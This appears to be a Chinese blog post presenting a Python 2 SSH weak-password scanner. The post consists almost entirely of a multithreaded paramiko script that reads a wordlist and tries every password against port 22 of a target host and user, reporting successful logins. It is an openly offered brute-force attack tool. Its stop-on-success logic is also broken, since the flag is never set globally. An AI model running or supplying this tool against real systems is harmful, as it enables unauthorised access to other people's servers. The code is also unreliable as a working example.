文章会有【原创】或者【转载】标示,部分来自Google Baidu的学习结果 {Java/PHP/Python/Ruby/Go}

基于Python的SSH弱口令扫描工具  


  • #!/usr/bin/python
  • import sys,os
  • import threading
  • import paramiko
  • ssh_passwd = []
  • ssh_passwd_flag = 0
  • def ssh_connect(host, user, passwd):
  • try:
  • client = paramiko.SSHClient()
  • client.load_system_host_keys()
  • client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  • client.connect(host, 22, user, passwd)
  • client.close()
  • ssh_passwd_flag = 1
  • except paramiko.AuthenticationException, e1:
  • print '[-] Try passwd\t\t%-30s failed.' % passwd
  • client.close()
  • return -1
  • print '[+] Try passwd\t\t%-30s ok.' % passwd
  • return 0
  • def crack_ssh_passwd_thread(host, user, idx, thread_num):
  • i = 0
  • threads = []
  • while (i < thread_num):
  • ADDR = (host, user, ssh_passwd[idx + i] )
  • try:
  • t = threading.Thread(target=ssh_connect,args=(ADDR))
  • except:
  • print 'createing thread %d failed.' % i
  • return -1
  • #print 'createing thread %d ok.' % i
  • threads.append(t)
  • i = i + 1
  • i = 0
  • while (i < thread_num):
  • try:
  • threads[i].start()
  • except:
  • print 'start thread %d failed.' % i
  • return -1
  • #print 'start thread %d ok.' % i
  • i = i + 1
  • i = 0
  • while (i < thread_num):
  • try:
  • threads[i].join()
  • except:
  • print 'join thread %d failed.' % i
  • return -1
  • #print 'join thread %d ok.' % i
  • i = i + 1
  • #return 0
  • def creat_passwd_list(passwd_file):
  • try:
  • fp = open(passwd_file, 'r')
  • except:
  • print '[-] open %s failed.' % passwd_file
  • return -1
  • print '[+] open %s ok.' % passwd_file
  • for eachline in fp:
  • eachline = eachline.strip('\n')
  • ssh_passwd.append(eachline)
  • #print eachline
  • fp.close()
  • return 0
  • def crack_ssh_passwd(host, user, thread_num):
  • passwd_count = len(ssh_passwd)
  • left = passwd_count % thread_num
  • i = 0
  • while (i < passwd_count):
  • if (ssh_passwd_flag == 1):
  • print '!'
  • return 0
  • if (passwd_count - i == left):
  • thread_num = left
  • if (crack_ssh_passwd_thread(host, user, i, thread_num) == 0):
  • return 0
  • i = i + thread_num
  • return -1
  • def usage(pro):
  • print 'usage: %s <host> <user> <passwd_file> <thread_num>' % pro
  • if __name__ == '__main__':
  • if (len(sys.argv) == 1):
  • usage(sys.argv[0])
  • sys.exit(0)
  • if (creat_passwd_list(sys.argv[3]) == -1):
  • sys.exit(0)
  • crack_ssh_passwd(sys.argv[1], sys.argv[2], int(sys.argv[4]))